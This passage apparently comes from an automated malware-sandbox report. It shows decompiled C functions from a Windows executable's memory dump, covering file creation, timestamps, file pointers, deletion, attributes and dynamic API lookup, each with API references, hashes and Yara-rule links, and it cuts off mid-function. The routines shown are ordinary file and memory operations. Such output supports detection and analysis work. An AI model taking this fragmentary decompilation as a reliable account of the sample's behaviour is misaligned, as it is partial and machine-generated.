				return E010FFD96(_t59 + 0x1e, _a4104, 0x800) & 0xffffff00 |  *(_t59 + 4) != 0xffffffff;
			}

0x010f96c3
0x010f96c9
0x010f96d6
0x010f96d8
0x010f96de
0x010f96ec
0x010f96ec
0x010f96e6
0x010f96e6
0x010f96e6
0x010f96f6
0x010f970b
0x010f9714
0x010f971a
0x010f9724
0x00000000
0x010f9726
0x010f9726
0x010f972a
0x010f972c
0x010f972c
0x010f9732
0x010f9732
0x010f9732
0x010f9736
0x010f9736
0x010f9746
0x010f974c
0x010f974c
0x010f9753
0x010f9781
0x010f9781
0x010f9793
0x010f9798
0x010f979b
0x010f97b4

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,010F9E1C,?,?,010F7840), ref: 010F9746
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,010F9E1C,?,?,010F7840), ref: 010F977B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d33dd4c392f2acadb5a693cba63e7b3722777cbf49b7a00cfa0ca4d448131ba3
Instruction ID: 841cb5253d1e856c346fb721e0af520df9860ad467b0402090a015f6fbf3ee37
Opcode Fuzzy Hash: d33dd4c392f2acadb5a693cba63e7b3722777cbf49b7a00cfa0ca4d448131ba3
Instruction Fuzzy Hash: A1210A71400749AEE7309F54CC46BE777E8FB49368F004A2DF6E5825D1C3B4A848DB60

Uniqueness

Uniqueness Score: -1.00%

Function 010F9CA2, Relevance: 3.1, APIs: 2, Instructions: 82
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E010F9CA2(void* __ecx, void* __esi, signed int _a4, signed int* _a8, signed int* _a12) {
				void* _v8;
				void* _v16;
				void* _v24;
				signed char _v25;
				signed char _v26;
				int _t34;
				signed char _t49;
				signed int* _t51;
				signed char _t57;
				void* _t58;
				void* _t59;
				signed int* _t60;
				signed int* _t62;

				_t59 = __esi;
				_t58 = __ecx;
				if( *(__ecx + 0x18) != 0x100 && ( *(__ecx + 0x18) & 0x00000002) == 0) {
					FlushFileBuffers( *(__ecx + 4));
				}
				_t51 = _a4;
				_t49 = 1;
				if(_t51 == 0 || ( *_t51 | _t51[1]) == 0) {
					_t57 = 0;
				} else {
					_t57 = 1;
				}
				_push(_t59);
				_t60 = _a8;
				_v25 = _t57;
				if(_t60 == 0) {
					L9:
					_v26 = 0;
				} else {
					_v26 = _t49;
					if(( *_t60 | _t60[1]) == 0) {
						goto L9;
					}
				}
				_t62 = _a12;
				if(_t62 == 0 || ( *_t62 | _a4) == 0) {
					_t49 = 0;
				}
				if(_t57 != 0) {
					E01100B3D(_t51, _t57,  &_v24);
				}
				if(_v26 != 0) {
					E01100B3D(_t60, _t57,  &_v8);
				}
				if(_t49 != 0) {
					E01100B3D(_t62, _t57,  &_v16);
				}
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				_t34 = SetFileTime( *(_t58 + 4),  ~(_v26 & 0x000000ff) &  &_v8,  ~(_t49 & 0x000000ff) &  &_v16,  ~(_v25 & 0x000000ff) &  &_v24); // executed
				return _t34;
			}

0x010f9ca2
0x010f9ca8
0x010f9cb1
0x010f9cbc
0x010f9cbc
0x010f9cc2
0x010f9cc8
0x010f9ccb
0x010f9cd8
0x010f9cd4
0x010f9cd4
0x010f9cd4
0x010f9cda
0x010f9cdb
0x010f9cdf
0x010f9ce5
0x010f9cf2
0x010f9cf2
0x010f9ce7
0x010f9cec
0x010f9cf0
0x00000000
0x00000000
0x010f9cf0
0x010f9cf7
0x010f9cfd
0x010f9d07
0x010f9d07
0x010f9d0b
0x010f9d12
0x010f9d12
0x010f9d1c
0x010f9d25
0x010f9d25
0x010f9d2d
0x010f9d36
0x010f9d36
0x010f9d46
0x010f9d54
0x010f9d64
0x010f9d6c
0x010f9d78

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,010F7520,?,?,?,?), ref: 010F9CBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 010F9D6C

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 4e80f20c670cef45bd3ac2e1107213dee8c99055b81a15e1e2924086d588819e
Instruction ID: c34831db21b3e7367499f0ae8d80e7d85c25f18883303ad9b41350778fcb0947
Opcode Fuzzy Hash: 4e80f20c670cef45bd3ac2e1107213dee8c99055b81a15e1e2924086d588819e
Instruction Fuzzy Hash: A821263114828A9BD715DE28C492FABBFE4AF5520CF14085DF9D083581C329EA0CC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0111A2D8, Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0111A2D8(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x1150628 + _a4 * 4;
				_t27 =  *0x112d668; // 0xf5f1ec05
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x112d668; // 0xf5f1ec05
							goto L13;
						}
						 *_t20 = E01112F99(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E0111A374( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x112d668; // 0xf5f1ec05
						goto L7;
					}
					_t27 =  *0x112d668; // 0xf5f1ec05
					goto L8;
				}
				L2:
				return _t33;
			}

0x0111a2e3
0x0111a2ec
0x0111a2f2
0x0111a2fc
0x0111a2fe
0x0111a302
0x0111a36d
0x00000000
0x0111a36d
0x0111a306
0x0111a30c
0x0111a312
0x0111a32e
0x0111a32e
0x0111a330
0x0111a332
0x0111a35d
0x0111a35f
0x0111a367
0x0111a36b
0x00000000
0x0111a36b
0x0111a33e
0x0111a342
0x0111a357
0x00000000
0x0111a357
0x0111a34b
0x00000000
0x00000000
0x00000000
0x00000000
0x0111a314
0x0111a314
0x0111a316
0x0111a31e
0x00000000
0x00000000
0x0111a320
0x0111a326
0x00000000
0x00000000
0x0111a328
0x00000000
0x0111a328
0x0111a34f
0x00000000
0x0111a34f
0x0111a308
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0111A338
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0111A345

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: c9a48855608fdb7d0ece2bf4e70f60ecf61f0de308d1fbc93af925e6dcdfa211
Instruction ID: 95851808271413394ee30fb1681328841cdc03c96a4b354622187bd3f15d9909
Opcode Fuzzy Hash: c9a48855608fdb7d0ece2bf4e70f60ecf61f0de308d1fbc93af925e6dcdfa211
Instruction Fuzzy Hash: 3A11E7336266619F9F3E9D6CF840A5ABB95AF846607160230ED15AB24CD770EC41C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 010F9AF5, Relevance: 3.1, APIs: 2, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E010F9AF5(void* __esi) {
				long _t14;
				void* _t17;
				long _t21;
				intOrPtr* _t23;
				long _t24;
				void* _t28;
				long _t30;
				void* _t32;
				intOrPtr* _t35;
				void* _t36;
				long _t38;

				_t32 = __esi;
				_t35 = _t23;
				if( *(_t35 + 4) == 0xffffffff) {
					L13:
					return 1;
				}
				_t21 =  *(_t36 + 0x14);
				_t30 =  *(_t36 + 0x14);
				_t38 = _t21;
				if(_t38 > 0 || _t38 >= 0 && _t30 >= 0) {
					_t24 =  *(_t36 + 0x1c);
				} else {
					_t24 =  *(_t36 + 0x1c);
					if(_t24 != 0) {
						if(_t24 != 1) {
							_t17 = E010F9885(_t28);
						} else {
							 *0x1122260(_t32);
							_t17 =  *((intOrPtr*)( *((intOrPtr*)( *_t35 + 0x14))))();
						}
						_t30 = _t30 + _t17;
						asm("adc ebx, edx");
						_t24 = 0;
					}
				}
				 *(_t36 + 0xc) = _t21;
				_t14 = SetFilePointer( *(_t35 + 4), _t30, _t36 + 0x10, _t24); // executed
				if(_t14 != 0xffffffff || GetLastError() == 0) {
					goto L13;
				} else {
					return 0;
				}
			}

0x010f9af5
0x010f9af7
0x010f9afd
0x010f9b77
0x00000000
0x010f9b77
0x010f9b00
0x010f9b05
0x010f9b09
0x010f9b0b
0x010f9b45
0x010f9b13
0x010f9b13
0x010f9b19
0x010f9b1e
0x010f9b38
0x010f9b20
0x010f9b29
0x010f9b31
0x010f9b33
0x010f9b3d
0x010f9b3f
0x010f9b41
0x010f9b41
0x010f9b19
0x010f9b4b
0x010f9b5c
0x010f9b67
0x00000000
0x010f9b73
0x00000000
0x010f9b73

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001960,?,00000800,-00001960,010F9AD1,?,?,00000000,?,?,010F8D43,?), ref: 010F9B5C
GetLastError.KERNEL32 ref: 010F9B69

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe28ada1e1a6133bfea04e19daf6acca8fd36dd1af98bea1255aab9cab494a6c
Instruction ID: bffc367ca1c08040116d7785109dd58192f612e980a79b613680019d68b5bcf6
Opcode Fuzzy Hash: fe28ada1e1a6133bfea04e19daf6acca8fd36dd1af98bea1255aab9cab494a6c
Instruction Fuzzy Hash: 07012B31304309DF8728CE6D9E85A7EB399BFC0625B84422DFBA783681DA30D8059721

Uniqueness

Uniqueness Score: -1.00%

Function 010F9D80, Relevance: 3.1, APIs: 2, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E010F9D80() {
				long _v4;
				void* __ecx;
				void* __ebp;
				long _t12;
				signed int _t14;
				signed int _t21;
				signed int _t22;
				void* _t23;
				long _t32;
				void* _t34;

				_t34 = _t23;
				_t22 = _t21 | 0xffffffff;
				if( *(_t34 + 4) != _t22) {
					L3:
					_v4 = _v4 & 0x00000000;
					_t12 = SetFilePointer( *(_t34 + 4), 0,  &_v4, 1); // executed
					_t32 = _t12;
					if(_t32 != _t22 || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t14 = 0 + _t32;
						asm("adc edx, 0x0");
						goto L8;
					} else {
						if( *((char*)(_t34 + 0x14)) == 0) {
							_t14 = _t22;
							L8:
							return _t14;
						}
						E010F6F3A(0x112ff50, 0x112ff50, _t34 + 0x1e);
						goto L7;
					}
				}
				if( *((char*)(_t34 + 0x14)) == 0) {
					return _t22;
				}
				E010F6F3A(0x112ff50, 0x112ff50, _t34 + 0x1e);
				goto L3;
			}

0x010f9d84
0x010f9d86
0x010f9d91
0x010f9da4
0x010f9da4
0x010f9db6
0x010f9dbc
0x010f9dc0
0x010f9ddd
0x010f9de3
0x010f9de8
0x010f9dea
0x00000000
0x010f9dcc
0x010f9dd0
0x010f9df9
0x010f9ded
0x00000000
0x010f9ded
0x010f9dd8
0x00000000
0x010f9dd8
0x010f9dc0
0x010f9d97
0x00000000
0x010f9df5
0x010f9d9f
0x00000000

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 010F9DB6
GetLastError.KERNEL32 ref: 010F9DC2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: aeeda9ae8036723b8540f7314a511eba7134c3d16e373c4f682f1508d945ba63
Instruction ID: 5f273e8b72787dbfe8d369f09b6e329160cb09a7cddffc430a41634e74e08d79
Opcode Fuzzy Hash: aeeda9ae8036723b8540f7314a511eba7134c3d16e373c4f682f1508d945ba63
Instruction Fuzzy Hash: 660192717012016BEB78AE29D886B6AB7D99B8421CF24453EF392C7EC0DA75D84DC721

Uniqueness

Uniqueness Score: -1.00%

Function 01118486, Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E01118486(void* __ecx, void* __edx, void* _a4, long _a8) {
				void* __esi;
				void* _t4;
				long _t7;
				void* _t9;
				void* _t13;
				void* _t14;
				long _t16;

				_t13 = __edx;
				_t10 = __ecx;
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 = _a8;
					__eflags = _t16;
					if(_t16 != 0) {
						__eflags = _t16 - 0xffffffe0;
						if(_t16 <= 0xffffffe0) {
							while(1) {
								_t4 = HeapReAlloc( *0x11506e4, 0, _t14, _t16);
								__eflags = _t4;
								if(_t4 != 0) {
									break;
								}
								__eflags = E01118214();
								if(__eflags == 0) {
									goto L5;
								}
								_t7 = E01116FF2(_t10, _t13, _t16, __eflags, _t16);
								_pop(_t10);
								__eflags = _t7;
								if(_t7 == 0) {
									goto L5;
								}
							}
							L7:
							return _t4;
						}
						L5:
						 *((intOrPtr*)(E011187DA())) = 0xc;
						L6:
						_t4 = 0;
						__eflags = 0;
						goto L7;
					}
					E0111835E(_t14);
					goto L6;
				}
				_t9 = E01118398(__ecx, _a8); // executed
				return _t9;
			}

0x01118486
0x01118486
0x0111848c
0x01118491
0x0111849f
0x011184a2
0x011184a4
0x011184af
0x011184b2
0x011184d9
0x011184e3
0x011184e9
0x011184eb
0x00000000
0x00000000
0x011184ca
0x011184cc
0x00000000
0x00000000
0x011184cf
0x011184d4
0x011184d5
0x011184d7
0x00000000
0x00000000
0x011184d7
0x011184c1
0x00000000
0x011184c1
0x011184b4
0x011184b9
0x011184bf
0x011184bf
0x011184bf
0x00000000
0x011184bf
0x011184a7
0x00000000
0x011184ac
0x01118496
0x00000000

APIs

_free.LIBCMT ref: 011184A7

Part of subcall function 01118398: RtlAllocateHeap.NTDLL(00000000,?,?,?,01113866,?,0000015D,?,?,?,?,01114D42,000000FF,00000000,?,?), ref: 011183CA

HeapReAlloc.KERNEL32(00000000,?,?,?,?,0112FF50,010FCD97,?,?,?,?,?,?), ref: 011184E3

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 58c9161141792cc8ca23d204d2fef8bb6640e967608c0192de410af5e6df4ada
Instruction ID: 365fd29551a55a27d8589a8e4666f82616af98e2e7e1aff8d9d7ef34f2bb196c
Opcode Fuzzy Hash: 58c9161141792cc8ca23d204d2fef8bb6640e967608c0192de410af5e6df4ada
Instruction Fuzzy Hash: DFF0F632280616AADB3D2A299C00F6FFB5D9FD1670B15C13DE9189689CDF34C80081A2

Uniqueness

Uniqueness Score: -1.00%

Function 01100866, Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01100866(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t14;
				signed int _t15;
				signed int _t17;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					return _t8 + 1;
				}
				_t14 = 0;
				_t17 = _v8;
				_t15 = 1;
				do {
					if((_t17 & _t15) != 0) {
						_t14 = _t14 + 1;
					}
					_t15 = _t15 + _t15;
				} while (_t15 != 0);
				if(_t14 >= 1) {
					return _t14;
				}
				return 1;
			}

0x0110087a
0x01100882
0x00000000
0x01100884
0x01100889
0x0110088d
0x01100890
0x01100892
0x01100894
0x01100896
0x01100896
0x01100897
0x01100897
0x0110089e
0x00000000
0x011008a0
0x011008a5

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 01100873
GetProcessAffinityMask.KERNEL32(00000000), ref: 0110087A

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 22dbd1c3d181c5921454908efbdb9a160067821e8f88b29b46ecce6ee1893a1f
Instruction ID: 6db0247e8a22563ce1637a5d5a85f9f62be45746a48d2cb0b56013fb41e34087
Opcode Fuzzy Hash: 22dbd1c3d181c5921454908efbdb9a160067821e8f88b29b46ecce6ee1893a1f
Instruction Fuzzy Hash: 5BE02B32E10105B75B2E89AC98049BF779DFB4D140718807BF902C3101F774DB4143E0

Uniqueness

Uniqueness Score: -1.00%

Function 010FA384, Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E010FA384(WCHAR* _a4, long _a8) {
				short _v4100;
				int _t12;
				signed int _t18;
				signed int _t19;

				E0110E1C0();
				_push(_t18);
				_t12 = SetFileAttributesW(_a4, _a8); // executed
				_t19 = _t18 & 0xffffff00 | _t12 != 0x00000000;
				if(_t19 == 0 && E010FB5AC(_a4,  &_v4100, 0x800) != 0) {
					_t19 = _t19 & 0xffffff00 | SetFileAttributesW( &_v4100, _a8) != 0x00000000;
				}
				return _t19;
			}

0x010fa38c
0x010fa391
0x010fa398
0x010fa3a0
0x010fa3a5
0x010fa3d1
0x010fa3d1
0x010fa3da

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,010FA1BA,?,?,?,010FA053,?,00000001,00000000,?,?), ref: 010FA398
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,010FA1BA,?,?,?,010FA053,?,00000001,00000000,?,?), ref: 010FA3C9

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 38af6be1082806df1eb062871518cdf48315da316a3427600c343fbfa2140f17
Instruction ID: 4ac728123966ce43082894d83ca6207e0c6809c75638eba89168b23b975388db
Opcode Fuzzy Hash: 38af6be1082806df1eb062871518cdf48315da316a3427600c343fbfa2140f17
Instruction Fuzzy Hash: 34F0A03124010DBBDF115E60EC01BD937ADFB04385F448065BD8896550DBB689E9EB54

Uniqueness

Uniqueness Score: -1.00%

Function 0110D3C9, Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0110D3F7
SetDlgItemTextW.USER32(00000065,?), ref: 0110D40E

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: e87af7a9e20494bca368103b26d84e902a3305550bec21e0fecc6b86408bc061
Instruction ID: a2885422484f9b15bf17f764ae5f0dff28fc2661f8b8f15a4a15adc0e16bea11
Opcode Fuzzy Hash: e87af7a9e20494bca368103b26d84e902a3305550bec21e0fecc6b86408bc061
Instruction Fuzzy Hash: B8F0E5B2D0430C7AFB27AAF0AC4AFD93B1CAB04746F0404A9F740A70D1D6B16A608762

Uniqueness

Uniqueness Score: -1.00%

Function 010FA06D, Relevance: 3.0, APIs: 2, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E010FA06D(WCHAR* _a4) {
				short _v4100;
				int _t10;
				signed int _t16;
				signed int _t17;

				E0110E1C0();
				_push(_t16);
				_t10 = DeleteFileW(_a4); // executed
				_t17 = _t16 & 0xffffff00 | _t10 != 0x00000000;
				if(_t17 == 0 && E010FB5AC(_a4,  &_v4100, 0x800) != 0) {
					_t17 = _t17 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t17;
			}

0x010fa075
0x010fa07a
0x010fa07e
0x010fa086
0x010fa08b
0x010fa0b4
0x010fa0b4
0x010fa0bd

APIs

DeleteFileW.KERNELBASE(?,?,?,010F97EC,?,?,010F961D), ref: 010FA07E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,010F97EC,?,?,010F961D), ref: 010FA0AC

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3c0f9821604f58e05b62c161fb41686fe07a548561debd2a2084edf334629ddf
Instruction ID: 0576658b9bf9c19623e2ad5ad811da4a07a440f1f17e1e83f3e2378b34a749cb
Opcode Fuzzy Hash: 3c0f9821604f58e05b62c161fb41686fe07a548561debd2a2084edf334629ddf
Instruction Fuzzy Hash: 31E02B30641209A7DB215E60DC01FE937ACAB083C1F440065FDC8D3050DB3188E4DA64

Uniqueness

Uniqueness Score: -1.00%

Function 0110A31B, Relevance: 3.0, APIs: 2, Instructions: 27
comCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0110A31B(void* __ecx) {
				intOrPtr _v16;
				intOrPtr* _t5;
				void* _t8;
				void* _t13;
				void* _t16;
				intOrPtr _t19;

				 *[fs:0x0] = _t19;
				_t5 =  *0x1137430; // 0x73e7c100
				 *0x1122260(_t5, _t13, _t16,  *[fs:0x0], 0x1121e4c, 0xffffffff);
				 *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))();
				L0110E09A(); // executed
				_t8 =  *0x1151170( *((intOrPtr*)(__ecx + 4))); // executed
				 *[fs:0x0] = _v16;
				return _t8;
			}

0x0110a32c
0x0110a333
0x0110a344
0x0110a34a
0x0110a34f
0x0110a354
0x0110a35e
0x0110a369

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,01121E4C,000000FF), ref: 0110A34F
OleUninitialize.OLE32(?,?,?,?,01121E4C,000000FF), ref: 0110A354

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: a90e0e48e00e775d75c489ba9149bd9dabdaaf2fa1090c344208ae82b34e62f8
Instruction ID: 74f8afb2a3f6ebeb8e709e9967ba58b286da26228ceba20feb3390417da10e85
Opcode Fuzzy Hash: a90e0e48e00e775d75c489ba9149bd9dabdaaf2fa1090c344208ae82b34e62f8
Instruction Fuzzy Hash: 01F0ED32604618EFC32AEF5DDC00B1AFBA8FB49A20F00036AF42983794CB746810CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 010FA0D4, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010FA0D4(WCHAR* _a4) {
				short _v4100;
				long _t6;
				void* _t9;
				long _t11;
				long _t13;

				E0110E1C0();
				_t6 = GetFileAttributesW(_a4); // executed
				_t13 = _t6;
				if(_t13 == 0xffffffff) {
					_t9 = E010FB5AC(_a4,  &_v4100, 0x800); // executed
					if(_t9 != 0) {
						_t11 = GetFileAttributesW( &_v4100); // executed
